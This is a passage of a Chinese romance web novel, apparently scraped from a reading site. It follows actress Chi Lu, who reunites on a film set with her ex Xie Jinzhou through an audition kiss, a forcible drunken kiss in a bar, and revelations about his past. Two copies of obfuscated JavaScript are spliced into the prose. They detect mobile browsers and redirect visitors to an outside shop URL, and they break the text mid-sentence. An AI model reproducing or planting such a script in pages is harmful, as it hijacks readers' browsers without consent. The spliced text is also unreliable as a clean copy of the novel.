驰路知道她在指桑骂槐,矛头指向自己,想怼她一句,却被小苏使了个“不用跟她计较”的眼神。 算了,她要去跟人试戏了。 …… 试戏地点安排在书房,驰路不知是不是自己去早了,书房周围没人,很安静。 书房的门掩着,驰路刚推开一点,看到里面有个人正在书架前,背对着自己,看到的瞬间,她的心忽然漏跳一拍,放在门把手的手迟迟未动。 这人穿着复古色红黄绿斜条纹短袖衬衫、一条复古色牛仔裤,留着黑色头发。 遥遥望去,风流倜傥公子哥的打扮,跟之前试镜陆程真的角色穿搭都不同,浑身透出高调又复古的味道。 看背影像极了某个人。 是他吗? 她的心脏开始跳得厉害。 驰路深吸几口气,平静下来,才推门进去。 随着开门声响起,复古穿搭男人在同一时间转身。 驰路终于看到他的脸,与他深邃的眼眸直直对上,心脏像被人开枪打中,打得她魂魄几乎飞散。 * 驰路从未想过有一天,她会以这样的方式跟谢劲舟见面。 眼前的他,即使黑发,复古打扮,仍痞气十足,张扬不羁。 他看上去成熟了点、落拓了点,但依然透出几分十七八岁男生才有的少年感。 之前顾辞山问她:“阿驰,你觉得什么样的演员适合演陆程真?” 她记得自己当时说:“顾导,陆程真这人,一要帅,二要痞,三要落拓中带有少年气。” 如今看来,这三点,眼前这人全占了。 这人还是她曾经的神明,曾经可以停靠的舟。 过往如同放映影片般一一在脑中闪现,那个不羁的少年,横冲直撞地来到她的孤独地带,告诉她,她不是一个人,她有可以依赖的神明,她可以做一只自由飞翔的燕尾蝶。 他给了她全部的希望和曙光,让她知道,这世界并不都是黑暗和深渊。 只是,曙光太短暂,离别太匆忙,再坚固的城堡,也有倒塌的一天。 她不想再遇见他,但又偶尔会想,未来的某一天,会不会在某个街头跟他相遇。 如果遇见了,她一定会抽他一巴掌,好好问问他,为什么六年来,没有给她任何讯息。 但真正见到了她,她却什么都没做,像个木偶,呆在原地,用那双震惊、疑惑的狐狸眼望着谢劲舟。 谢劲舟的眼神有瞬间的凝滞,像冻住的冰雕,但也就一瞬,很快恢复原样。 他的嘴巴里叼着一枚书签,吊儿郎当的气质又多了几分。 驰路回神,故作镇定道:“我走错了。” “你没走错。”谢劲舟盯着她半转的身体,“驰大明星。” …… “阿驰,你到得还挺早。”顾辞山走进书房,后面跟着副导演、剧组人员。 “跟你介绍下,这是要跟你试戏的演员,谢劲舟。”顾辞山走到谢劲舟身旁,“她是这次饰演祁梦的演员,驰路。” “请多关照,驰老师。”谢劲舟伸手。 听到谢劲舟叫她“驰老师”,驰路心头微微一颤,到底往事成风,她也不过是他生命里匆匆而逝的过客。 驰路冷冷地瞥了下谢劲舟的手,没握,而是跟顾辞山说:“顾导,如果是他,我不演了。” 这是顾辞山没有料想到的,他把驰路拉到门外。 剧组人员都在等着,有的开始调整场景细节,有的越等越着急,有的开始聊起了天,只有谢劲舟最淡定、最悠闲,手里还在翻着一本书。 “谢老师,你喜欢看《克林索尔的最后夏天》啊,我们驰姐也喜欢。”小苏走过去跟谢劲舟搭话。 “她最近在看什么书?” “好像是一本诗集,叫……《彩画集》。” “谢老师,要对的台词,你背了吗?” “嗯。” “那就好,驰姐不喜欢台词都说不好的搭档。” 小苏上下打量了谢劲舟一番,比别人口中说的还要帅,天生的明星脸蛋和身材,可惜,不是科班出生,没演过戏,估计就算驰姐同意跟他试戏,他也不会被顾导采用。 不知道顾辞山跟驰路说了什么,她进来后,同意跟谢劲舟搭戏。 道具师将道具摆放好,灯光师调好灯光,化妆师给驰路补好妆,造型师给谢劲舟整理好发型,副导演架起摄像机,一切准备就绪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560810|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备开拍时,驰路跟顾辞山说:“顾导,你、陈副导在这儿,其他人能不能出去?” 顾辞山知道驰路拍戏向来有自己的主意,她这样做,难道是想更投入地进行演绎? 可他方才能说动驰路的一点是:“阿驰,跟他搭着演演看,要是不行,我再换别人。” 她没告诉他为什么不想跟他搭戏,但顾辞山是谁,拍了不少片子,见过形形色色的人,谁心里揣着点什么,他都能看清。 顾辞山看出来了,这两人应该认识,曾经还发生过不愉快的事。 他觉得有点意思。 * 书房的窗帘被拉得严严实实,透不进来一点光,唯有打光灯透出昏暗的光,照在书架上,辟出一片光亮。 摄像头挪到左侧,拍摄着镜头里的两个人。 谢劲舟拽着驰路往书架方向走,力道之大,气势汹汹。 谢劲舟一把将驰路推到书架上,砰的一声,她的后背结结实实地撞到了书架。 驰路感到一阵吃痛,下意识地蹙起眉头,压着声音问他:“你知道你在做什么吗,陆程真?” “我在做什么,你看不出来吗!”谢劲舟将驰路的双臂抬高,举到她的头顶,压在书架上,以一种完全侵略的姿势看着她。 “你放开我!”驰路扭动着被他抓住的双手,身体也在挣扎着。 明明是演戏,驰路却感到前所未有的慌乱,心跳如雷,耳廓红了一圈,看着谢劲舟的眼眸,多了一层说不明白的意味。 谢劲舟却把她的手腕抓得更紧,俯身朝她狠狠吻了下去。 当他的唇狠狠碾压过她的唇时,驰路身体发颤,惊得瞳孔微睁,但很快反应过来,趁他还没有再进一步,用力咬了下他的唇,她感到了一丝血腥味。 这浑蛋,为什么没有借位?为什么要来真的? 驰路只好在他的基础上,配合他演出。 少年的张狂,少年的不羁,少年的吻,少年的骨骼,都真切地与六年前重叠。 他的身体离她那么近,鼻端的气息拂过她的脸颊,像滚过一阵阵热浪,激得她的心脏剧烈起伏,却还要抑制住。 这一刻,她没有看到六年前仲夏夜跟他一起看过的月亮,却看到了他眼中的自己。 青春早就宣告终结,她好像还没走出从前。 她想起了昨天自己晕倒前那个托住她的怀抱,想起了如太阳般温暖的皂香,想起了醒来时窗外爬树的男人,还有窗台上放的那支新鲜的洋桔梗。 她以为的梦,原来不是一场梦。 遗失在茫茫人海中的神明,还是闯入了她的世界。 他吻她时那么狠,比台本里写的还要激烈。 剧本里没有要咬他的情节,她第一次没有按照剧本去做。 这完全脱离了她的职业素养和准则,奇怪的是,顾辞山并没有喊停。 她倒要看看,这个从没演过戏的谢劲舟要怎么接。 “好啊,祁梦,”谢劲舟没去擦唇边的血珠,而是伸舌舔了下,抬起她的下巴,用指腹撵着她的唇,笑着说,“没想到你也有这一面。” 他的笑容里混着兴趣、惊喜,还有几分玩味,一个纨绔子弟的浪荡形象被他演绎得淋漓尽致。 驰路内心惊诧万分,他怎么会接得这么好? 这是没演过戏的人吗,怎么看像是有备而来! * 当顾辞山跟驰路说:“阿驰,陆程真让谢劲舟来演,可以吧?”,她没有一点惊讶,不可否认,谢劲舟饰演的陆程真,是所有饰演者中最适合的。 他把陆程真的那种痞劲儿、坏劲儿都演绎得很到位。 除了演技,还有他的长相,也很符合陆程真。 驰路说:“顾导,你让我考虑考虑。” 如果谢劲舟来演陆程真,以后的三个月都要跟他度过,这是她想要的吗? 94. 狂风骤雨般的吻 「我的世界是一座荒山。 只有你来了,我才有了可以膜拜的圣像。 为了得到你,我甘愿拿命来抵。 小蝴蝶,你做好准备了吗?」 ——《神明降临》 驰路把这事告诉了安然,安然说:“阿驰啊,你就谈过一次恋爱,跟他分开后,就一直单着。你总跟我说,你不想找,是因为娱乐圈太乱了,之前我不好跟你说什么。既然这次你主动说,我也就实话跟你说吧,你问问你自己,你真的放下过他吗?如果没有放下,是不是可以给自己一次机会,一次让心再为爱跳动的机会。” 她的心有多久没为爱跳动过了? 每次演偶像剧,跟搭档的拥抱、牵手、借位接吻,都让她的心毫无波澜,只是她演得好,让观众以为那是爱情。 只有她知道,她的每一次奔赴,都是一场精心策划的演绎。 没有谁可以看出破绽。 她想奔赴波澜壮阔的山河,想投身一池月牙湾,却从未遇到一个摆渡人,将她送达彼岸。 她是胸口残留烧痕的人,没有人可以看见,却存在着,时不时地将她拖入六年前那个炙热的夏天。 …… 驰路跟周柏屿在《密林深处》里饰演一对情侣,周柏屿饰演的陈醉是一个富三代玩咖,喜欢冒险,这次跟祁梦要玩一场在别人面前谁都不认识谁的“陌生人”游戏, 祁梦知道,陈醉生来爱冒险、爱刺激,也就应了下来。 陈醉约祁梦在顶楼的露台见,祁梦赴约,刚走上露台,陈醉便如猛兽般朝她扑来,撕扯她的雾青色旗袍,衣领处的盘扣哗哗落地,花朵袒/露,陈醉疯了一样吻她精致的锁骨。 祁梦的双手下意识地抓揉着陈醉的头发,仰着天鹅颈,眼睛望着前方,眼神里透着犹疑、挣扎、忍、欲,这些情绪被她演绎得到位。 陈醉的疯狂,她并不喜欢,却会因为他平时对自己百般好而次次忍受。 驰路的面前有导演、摄影师、灯光师,仿佛都不存在,此刻她就是祁梦。 夜晚的密林,格外寂静,虫鸣声奏乐,月亮高悬,皎洁的月光洒落在驰路身上。 随着陈醉的动作越来越大,她的旗袍几乎被扯落到胸前。 站在驰路后面的工作人员,第一次看到驰路的后背,看到了上面的文身。其中一个胆大的小姑娘出于好奇心,凑上前细看,是一只破碎的蝴蝶。 陈醉还想对祁梦拉下旗袍时,寂静环境被一声巨响打破,陈醉的饰演者周柏屿在意乱情迷间,以为导演喊了“咔”,停止了动作,松开驰路。 驰路却没有动,在阴影里,在人群的后面,她看到了一道熟悉的身影,穿着黑色无袖背心,正弯腰做着什么。 雾霾蓝头发,右脑勺上刻着一道“X”。 “舟哥,你的人生不是BUG,你是谢劲舟。” 他跟自己试戏时,戴了假发? 驰路的目光停留在谢劲舟身上,他一回头,她看到了他那双深邃的眼睛,里面透着如风霜般的冷冽。 * 驰路跟陈醉演完暧昧戏,没有直接回酒店,而是被向眠拉着去了一家酒吧。 她戴上大大的墨镜,扎起马尾,戴了一顶鸭舌帽,一副普通人的装扮,完全看不出是明星。 向眠见她一杯接一杯地喝鸡尾酒,便知道她情绪不对:“你之前是不是就认识他?” “认识谁?”一杯鸡尾酒见底,驰路又给自己倒了一杯。 “谢劲舟。”向眠凑到她耳边,悄声跟她说。 驰路举杯的手忽然顿住,嗤笑道:“有那么明显?” “你之前跟人演对手戏,从来不清场啊,特意清场是什么意思?还跟顾导说,如果他来演,你就不演的话。”向眠早就看出她的不对劲,这才想着拉她来酒吧放松放松。 向眠推断:“他不会就是你之前跟我说过的前男友吧?” 见驰路没有否定,向眠说:“你前男友比很多当红小生都帅,听顾导说演得还好,你真不打算,跟他再续前缘?” “谁要跟他再续前缘!”驰路喝了几口鸡尾酒,“要不要跟他演对手戏,我还要考虑考虑。” “考虑什么啊!”向眠说,“你又不是不知道,演员之间,都是互相成就的,现在的粉丝,都很在乎CP感,你跟他演对手戏,肯定自带CP感啊!” “再说吧。”驰路还没想好,心头思绪万千。 驰路喝了不少鸡尾酒,袭来微醺,耳边的电音震耳欲聋,听着一阵烦躁。 她起身去洗手间,摘了墨镜,用凉水扑了自己一脸,望着镜子里的自己,怎么看怎么有点颓,像即将凋零的玫瑰。 为了怕人认出自己,驰路很快用纸巾擦了擦脸,又戴上墨镜。 她刚走出洗手间,却被人拽住往前走,更准确地说,应该是往前跑,像极了她演的一部偶像剧里,她被人盯上,男主英雄救美拉着她在夜色中奔跑。 但这次不同,这次不是演戏,来人是谁?会不会是某个私生饭? 驰路看向来人的背影,黑色无袖T恤,宽肩长腿,身材颀长。 一头张扬的雾霾蓝头发,耳朵上挂着一枚黑色耳桥。 是谢劲舟! 他怎么会在这里?他在做什么! 驰路几乎是被他一路拽到了外面的阳台上,谢劲舟不等她说什么,动作粗鲁地把她按到墙上,抬起她的下巴,狠狠地吻上她的唇。 被她咬过的地方刚结了一点痂,此刻因为用力摩擦而生出一阵疼,但他全然不顾,近乎蛮横地闯入她的唇齿,狠狠地吻她。 比白天试戏时,吻得还要激烈,像是一种宣泄,如同狂风骤雨,根本不给驰路任何反应的时间,她被迫仰头,承受着他霸道、凶猛的吻。 彼此的烟味、酒精味混在一起,像一场迷醉的梦。 驰路的心不自觉地猛烈跳动,呼吸急促,多久没有这样的感觉了? 宛若山河崩裂、天地塌陷。 困于经年的她,被迫走上崎岖逼仄的峡谷,进退两难。 放在身侧的手,握成拳,指关节泛白。 驰路勾住他的舌,想狠狠咬一口,他却及时退出,轻轻含咬了下她有些充血的唇珠,盯着她的眼睛,发出低沉、磁性的声音:“驰大明星,你不是恨我吗,有本事,你恨我一辈子!” …… “谢劲舟,你犯什么浑!”驰路一把将他推开。 谢劲舟指着伤口破开的唇:“你欠我的!” 他想伸手去抚她的唇珠,却被驰路侧脸躲开。 唇珠的地方隐隐的疼,却没有冒血,他的力度刚好,没有咬破。 “我什么时候说过恨你?”驰路怎么没一点印象。 “你是我的,我的蝴蝶!”谢劲舟想要继续说什么,身体却一歪,倒在了驰路身上。 “谢劲舟,你让开!”驰路刚推开他,见他要直直地往后倒去,又下意识地拉住他的手腕,将他拖到自己身前。 谢劲舟的身体像失去了所有支撑,再次倒在驰路身上。 “谢劲舟,谢劲舟……”驰路低声喊着他的名字,他却没有任何动静。 他这是怎么了? 驰路闻到了他满身的酒气,还有烟味,这是喝了多少,难道醉得不省人事了? 算她倒霉! 驰路将谢劲舟挪着靠墙坐,倚靠在她肩头。 他一动没动,她就那么一直望着他。 睡着的他,全然没了方才的嚣张跋扈,平和了不少。 她看到了他眼睛下方的黑眼圈,那么重,熊猫眼似的。 他跟从前一样,又好像不一样。 为什么要这样对自己?难道对她还余情未了? 这些年,他身边的女朋友,应该跟换衣服一样,换了一茬又一茬了吧。 戏里戏外,对她这样,是不是只是一场不甘的占有? * 罗子昂到“地球引力”酒吧时,看到的场面让他着实一惊。 他家老大竟然歪倒在驰路的怀里,哪里还有半点桀骜样,落魄得像被驰妹刚捡到的一条二哈。 驰路也是惊讶,罗子昂怎么这么快就到了。 “好久不见。”驰路跟他打招呼,“来得还挺快。” “巧了,我追的人是这家酒吧的老板,正好要过来接她。”罗子昂走到驰路身边,把歪倒的谢劲舟扛起来,靠墙扶着他。 驰路的肩膀、腿都麻了,捏了捏肩腿,缓了会儿,才慢慢站起来,靠在墙上看罗子昂:“不会是时清吧?” “还是驰妹懂我!” 驰路看着眼前的罗子昂,没了刺猬头,一头黑发,穿着白衬衫、黑裤子,职场人穿搭,全然没了高三那会儿的中二模样。 都说时间会让一个人改变,她在罗子昂身上看到了,为什么谢劲舟好像还停在过去。 驰路说:“你现在混得不错啊!” “哪有驰妹混得好啊。”罗子昂看着比之前更漂亮、气质绝佳的驰路说,“不对,现在应该叫你驰大明星了。” 驰路嗤笑:“我们之间,需要这么生疏吗?” “六年前,你要是不抛弃我们舟爷,我们现在也不会这么生疏!”提到往事,罗子昂就气。 “我抛弃他?”驰路看向醉倒在罗子昂身上的谢劲舟,“我是离开了芳町镇,但我从没跟他说过分手,是他不联系我的。” 语气中含了几分幽怨和委屈。 “真的?”罗子昂震惊。 “不信的话,你可以等你家舟爷醒了好好问问他。”驰路说,“不过,这不重要了,都是过去式了,翻篇了。” “怎么可能翻篇,”罗子昂垂眸看了眼谢劲舟,“他一直没放下过你。” “你知不知道,当年你离开后,他有多痛苦。”罗子昂想到当年的事,一阵心痛,“你走那天,他本来要去送你的,结果被人暴打一顿,不仅让他下跪,还打断了他的右腿!后来,他把自己关在静心小屋整整一个月,下山时都瘦得不成人样,刚下山的第一天,就听到了他爸去世的消息,对他的打击很大。” “下跪?被人打断右腿?”驰路万分惊诧,“谢……叔叔死了?” “嗯。”罗子昂低低地应了声。 “为什么会下跪、被人打断右腿?”驰路根本无法想象,像谢劲舟那样傲骨满身的一个人,竟然会下跪、被人打断右腿。 他是芳町镇的谢大佬,是人人都尊敬的舟爷,是谁跟他有那么大的仇怨,要那样对他? “唉!”罗子昂重重地叹了一口气,说出当初他从谢劲舟嘴里撬来的信息,“你还记得当初在平安镇,你跟舟爷被绑到废弃楼吗?后来舟爷不是去找了那帮人,揍了他们吗。结果,你走那天,不凑巧,偏偏被那帮人给碰到了,狠狠揍了他一顿。后来,我是从别人口中知道的,他被揍那么狠,是因为那帮人污蔑你、诋毁你,他的反抗,遭到了那帮人更狠的毒打。” 罗子昂说的每个字,都像一记重锤,狠狠地砸向驰路,砸得她的心疼如刀绞。 以为六年未见,终究情淡。 现在,她却发现,有关于他的一切,都还能深深地牵扯她的每根神经,击中她的心脏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560811|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不管时光过去多久,也挡不住昭然若揭的心意。 像在青春里,高歌猛进的光阴,想停,却怎么也停不住。 十八岁的少年,宛若一枚悬空的月亮,日复一日,年复一年,一直停留在心间。 从未离开。 她无法想象,当时的谢劲舟背负着怎样的屈辱,忍受着怎样的痛楚。 他一定很痛苦吧! 这个浑蛋,什么时候,能为自己考虑考虑? 为什么总要把她放在第一顺位?! 驰路再开口时,嗓子发紧,几次想开口,都没能发出声音,最后发出的声音哑得要命:“谢叔叔怎么死的?” “有空你去问舟爷吧。” 难道是因为这些,他才没有心情联系自己? 驰路的心重重疼了下,仿佛看到了当年失去唯一父亲的谢劲舟。 谢鸿运是不务正业,是赌博成瘾,但不管怎样,他都是谢劲舟的老爸。 亲人的离开,应该给他带来了不小的打击吧。 那段时间,他是怎样扛着悲痛撑下去的? “连续遭遇这样的打击,舟爷发病了,我第一次看到他每晚大把大把地吃药,我真怕他会因为药剂过量而死。”罗子昂想起那时的谢劲舟,替他难受,“但他没死,反而复读一年,拼命刷题,就为了兑现当年跟你的承诺,一起去北京上大学。知道他是靠怎么撑下来的吗?” “对谢奶奶、小乔的责任?” “一次喝醉酒,他亲口告诉我,”罗子昂说,“他是靠他的蝴蝶撑下来的。” 驰路的心猛然一颤,如一把利刃戳中心脏,疼得厉害。 眼眶里不禁泛起酸,眼前的一切都开始重影。 陌路繁花是过往,可过往为何像烟头烫过的纸,纸上的那片黄,永远抹不去,永远都在。 罗子昂继续说:“舟爷都六年没染头发了,为了你,又重新染回蓝头发,剃了跟之前一样的发型。我问他为什么,他一直不肯告诉我,直到有次他喝醉了,才告诉我,想让你在现在的他身上,找到熟悉感,不恨他,希望……再重新爱他一次。” “这次为了跟你试戏,他昨晚一晚上都没睡,把导演发过去的剧本看完了,在家练习演要跟你对的那场戏。” “他从没演过戏,怎么可能演得到位,他就让我帮他找了个教演技指导的老师,特意去找她,一遍遍地练。” “你看他这样,我看不只是喝醉了,还因为睡眠不足,累的。” “他跟我说了,他试镜成功了,但你还要考虑要不要跟他搭戏。” “嗯。”驰路见周围没人,点燃一根烟,猩红在纤细的指间忽明忽暗,声音哑得厉害。 “驰妹,有些机会失去了就不会再来,你看吧,要不要抓住,就算不为谢劲舟,也为你自己。” 驰路看着罗子昂扶着谢劲舟离开的背影,面露沉思,靠墙抽烟,抽了一根又一根。 …… 向眠看驰路一直没回来,有些担心她,去洗手间找她没找到,又不想回去,就想走到外面的露台透透气,没想到听到了一出大戏。 趁罗子昂扶着谢劲舟离开前,向眠先躲开了,再次走向露台,看到驰路还在抽烟,浑身被烟雾萦绕着。 她摘了墨镜,那双独特的狐狸眼,在飘散的烟雾里,显得越发迷离,似清晨山头刚起的那缕薄雾,迷人,却抓不住。 她是她们宿舍里混得最好的,也是她们中心思最重的。 她看似跟谁都有话说,跟谁都保持着不近不远的距离,但向眠看得出来,她并没有跟谁袒露心扉,始终把自己圈在她的世界里,谁也走不进去。 向眠算是最了解她。 人前的驰路光鲜耀眼,可谁会知道,她也有落魄悲伤的时刻。 向眠朝她走去,她垂着脸,深思游离,没注意到有人过来。 向眠走到她身前:“阿驰,回家吧。” 驰路抬头。 向眠一惊,她第一次看到了双眼含泪的驰路,泪光盈盈,破碎得像个瓷娃娃。 * 回到酒店,驰路洗完澡,背对镜子,看到后背上的半只燕尾蝶文身,还有肩胛骨上零星的三处红痕,还有两处淤青。 她纤长的手指抚上红痕,这是谢劲舟发狠将她推撞在砖墙上留下的痕迹。 淤青,是他推自己撞向书架时留下的。 她来回抚着这五处地方,每次的触摸,脑中都会浮现出谢劲舟的样子,不羁的、落拓的、粗鲁的、发狠的。 他每一次对她用力的撞击,都像要把她的骨骼钉在十字架上,好像她才是错的一方,但明明当年说好要送她失言的人是他,再没跟她联系的人也是他。 驰路转过身,看着镜子里的自己,面色憔悴,她抬手摸上自己的唇珠,被热水泡得又红又软,仿佛绽放的玫瑰,上面似乎还残留着他含咬时的温度。 吹完头发躺到床上时,已过十二点,驰路睡不着,起身点了香氛蜡烛,响起噼里啪啦的声音。 她想起了,在静心小屋,他单手拉开啤酒罐,跟她说:“你不觉得晃过后的啤酒罐,打开时的声音很解压?” 她给他点燃香氛蜡烛,他说:“阿驰,原来,我们是一路人。” 一路人,为什么会走散? 她看着脚踝处那个酒红色的文身,精准地摸到上面的“zhou”。 驰路的胸腔里泛出难以言喻的痛楚,在无人的深夜里尽情释放。 耳边想起了今晚醉倒在她身上的谢劲舟喃喃的一句话:“阿驰,陆程真可不可以是我?” 95. 拼命地占有 「神明总喜欢跟我耍花招,来了又去,去了又来。 像一阵抓不住的风。 但神明背我的那刻,我抓住风了。」 ——《小蝴蝶的自由》 都说人逢喜事精神爽,《密林深处》的工作人员今天看到顾辞山时,只见他满面春风,问了才知道,果真有喜事,饰演陆程真的演员定了下来。 知道一点内幕的人都觉得奇怪,为什么顾辞山会选一个没有任何演戏经验的人。 小苏知道后也觉得奇怪,不只是对顾辞山的选择觉得奇怪,也对驰路的选择觉得奇怪。 驰姐前一天还在说“如果是他,我不演了。”的话,怎么今天就改变主意了? 小苏没问,做好自己的本职工作就好。 …… 今天要拍的戏是来别墅的六个人少了一个,五个人下山去找没有找到,陈醉看到祁梦穿着坡跟的高跟鞋几次要摔倒,碍于跟她在玩“陌生人”游戏,一次没扶。 反倒是离祁梦最近的陆程真几次扶了祁梦。 他们之间流动着某种说不明的暧昧,都被陈醉看在眼里。 他占有欲极强,人前人后两个样,人前对祁梦谦谦有礼,人后却对她的身体和精神百般折磨。 她的身上有大大小小的淤青,全是陈醉留下的,在她一次次疼得落泪时,他会温柔地帮她擦眼泪,哄她:“宝贝,这都是我爱你,才在你身上留下的。” 不管他在床上对她施用什么工具,或者对她有多大的鞭挞,她每次都会忍着,因为如果不是他,她的母亲在三年前就会离开这个世界。 现在她母亲跟他们住在一起,陈醉对她母亲也很好,经常给她买东西,带她出去玩,他们亲密得像一家人。 谁都没有看到她的伤痕,每次她看到时,总有种说不出的复杂情绪,反感、厌恶,却又无力挣脱。 是一种流浪狗被主人捡回家,主人给你好吃的、好喝的,却时不时踢你打你。 即使这样,你每次见到主人,都还不得不绕着他的腿转圈圈、摇尾巴。 自从跟陈醉谈恋爱,祁梦已经三年没工作了。 因为三年前,陈醉跟她说:“祁梦,你把工作辞了,我养你。” 从此,祁梦过上了上流人士才有的光鲜亮丽的生活。 “陌生人”的游戏,虽然她答应了,但在这次下山找失踪的苏棠时,她的眼神会不经意得瞥向陈醉,她希望,哪怕有一刻,他是看向她的,但每次的期待都落空。 为了演差点滑倒演得逼真,驰路在第二次差点滑倒时崴到了脚,为了不影响拍摄进程,她忍着痛继续演戏。 这场戏结束,小苏走上前给驰路递了一瓶水,驰路抬头喝时,看到不远处的谢劲舟也正在喝水,凸出的喉结上下滚动着。 他的视线始终没投过来,仿佛全然忘记他昨晚强吻过她。 “看谁呢?我看你的眼睛都快黏在那啥身上了。”言嘉芝走到驰路面前,不无嘲讽道,“不就是昨天跟他对过暧昧戏吗,不会这么快就移情别恋了!” “我喜欢谁,不喜欢谁,跟你有关吗?”驰路冷冷地瞥向言嘉芝,“有这闲工夫,不如好好琢磨怎么演好迪娜。” “你什么意思?”言嘉芝不满了,“你是说我演的迪娜不好吗?” 她好歹是童星出生,磨炼演技多年,演谁像谁,她竟然质疑她的演技! 驰路看着穿着职业套装比实际年龄大好几岁的言嘉芝,还想说什么,听到身旁传来沉磁的声音:“驰老师,能不能跟我对下台词?” 驰路望过去,是一头黑发的谢劲舟,成熟、落拓,又痞气。 恰到好处的打断,没能让矛盾升级。 言嘉芝看向上赶着的谢劲舟,露出嘲讽的笑意。 被一个剧组打杂的、野路子演戏的人搭讪,算什么本事! 言嘉芝往前走,去找顾导沟通剧情了。 驰路脚疼,走得很慢,小苏以为她累了,没太在意。 渐渐地,她落在大部队后面,只剩她、小苏,还有谢劲舟。 小苏觉得奇怪,谢劲舟不是说要跟驰姐对台词的吗,怎么一句话都没跟她说。 谢劲舟看着驰路慢悠悠抬起的右腿,拽住她的手腕,看她:“驰老师,你还要逞强到什么时候?” 小苏诧异地看着谢劲舟,他在做什么!怎么跟驰姐说这样的话?搞得跟驰姐很亲密一样。 “谢老师,你这样做,不合适吧。”驰路低头看向自己的手腕,他的手还放在上面。 “坐这儿。”谢劲舟拉着她坐到一块平坦的石头上。 “你要做什么!” 谢劲舟没回,而是掀开覆盖住她小腿的雾青色旗袍,拉下白色镂空袜子,看到她右脚踝处熟悉的酒红色文身。 除了一串曾经被摸过多次的小蝴蝶和希腊语的自由,还多了一个文身。 文身很小,是拼音。 他刚想看清是什么时,却被驰路一把推开:“谢劲舟,你别太放肆!” 驰路弯腰拉起袜子,刚想站起来,起得太急,身体往右侧一歪,被谢劲舟及时托住。 谢劲舟没再给她任何思考的时间和机会,一把将她背起,任由她怎么在他背上挣扎、怎么打他,他都没把她放下。 小苏看得目瞪口呆,屁颠屁颠地跟在后面,疑惑暗忖:这都是什么事?自家的驰姐被人拐了,剧本里有这场戏? * 跟周柏屿演露台那场暧昧戏时,谢劲舟在现场放盆栽,结果就看到了周柏屿撕扯驰路衣服、激烈吻她的一幕。 晚上,他去酒吧喝酒,竟遇到驰路,满腔压抑的情绪无法发泄,跟着她到了卫生间门前,还把人拽到阳台狠狠地吻她。 是不清醒状态下,粗暴的发泄,拼命地占有。 想跟从前一样,在她的身上烙上印迹,昭告天下:你是我的。 但他不能,她不是他的,她是光芒万丈的驰大明星,而他不过是寂寂无名又落魄失业的建筑师。 睡得昏昏沉沉,做了一场梦,梦里驰路甩了他一个耳光,怒气冲冲地跟他说:“谢劲舟,你凭什么吻我!你想死是不是!” 醒来,冷汗淋漓,梦跟真的一样,扯着他的胸口,阵阵发疼。 他终于,再一次找到了活着的感觉。 今天的驰路还穿着昨晚跟周柏屿暧昧时的那件雾青色旗袍,每次看她,谢劲舟都忍不住想起他 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驰路看似不经意的问他:“谢老师,你染头发、文文身,会有公司要你?” 谢劲舟忽然停住,颠了颠往下滑的驰路,侧头看她:“驰老师,你这是在关心我?” “我怕你饿死街头。” “驰老师,您过虑了,”谢劲舟扯起一边唇角,痞气地笑,“我活得还不错。” 他每叫她一遍“驰老师”,驰路总觉得他在把自己往外推,推向一个陌生地带,谁都不能走进彼此心里。 终归时过境迁,不同往日。 只是听来,怎么那么让她不爽! 驰路几乎是咬着牙,加重了那声“谢老师”,说:“不是要跟我对台词吗。” “你对我有没有感觉?” 驰路的心停顿一秒,呼吸一滞,愣了几秒才意识到他在跟自己对台词,这才放下绷紧的弦,换上略带破碎感的神色看他,声音变得温柔婉转:“你说,树枝上的鸟会不会对树有感觉?” “会。” “不会。”驰路说,“鸟迟早会飞走,它要自由,属于天空,所以,它不会对谁产生感情,更不会对谁孤注一掷。” “我会让你知道,鸟也是会为树停留。” 同一时间,两人齐齐抬头,看到一只飞鸟飞上枝头,梳理着羽毛,久久停留。 * 谢劲舟当初同意来《密林深处》的剧组试镜,不仅因为这部电影的女主角是驰路,还因为他饰演的角色陆程真跟祁梦有不少具有张力的暧昧对手戏。 从再次见到驰路的那一秒,谢劲舟就知道自己并没有放下她。 她是他青春里的浓墨篇章,掀开过,看过,此生难忘。 蝴蝶又飞入他的世界,他想多看一眼。 谢劲舟知道驰路不能传出绯闻,在爬到半山腰时,就把驰路放了下来,提醒小苏她崴脚了,叮嘱小苏好好照顾她。 说完便转身离去。 小苏惊讶地拔高声音问驰路:“驰姐,你崴脚了!我以为你们刚才在演戏呢!” “……” 96. 戏里暧昧撩拨 「群山来不及回响,而我的心早已作答。 你是穿越时光的秘语,是我的人间复苏。」 ——《神明降临》 五人下山搜寻一番,并未找到失踪的苏棠,失踪案变成悬案,其中许斯年饰演警察林墨,来这里专门调查前一个月刚发生在密林别墅里的一起“十八岁女生”失踪案,没想到这次又出现了失踪案,他怀疑凶手就在其他四人中。 他并没有袒露自己是警察的身份,而是伪装成司机,暗中观察,回到小屋,主动试探其他四人,苏棠会不会跟新闻里那起十八岁女生失踪案有关,现在已经被谋杀了。 林墨对探查每个人的神情,迪娜表现最夸张,吓得往后退,害怕自己会不会是下一个被杀对象。 其他三人表情不一,但都相对镇定。 “我怀疑凶手就在我们中间。”林墨的一句话激起千层浪,人人心慌。 怀疑归怀疑,为什么要杀苏棠,杀人动机是什么,作案工具是什么? 每个人都去各自的房间搜查,结果什么都没发现,基于第一天刚建立的一点信任,随着苏棠的失踪彻底瓦解。 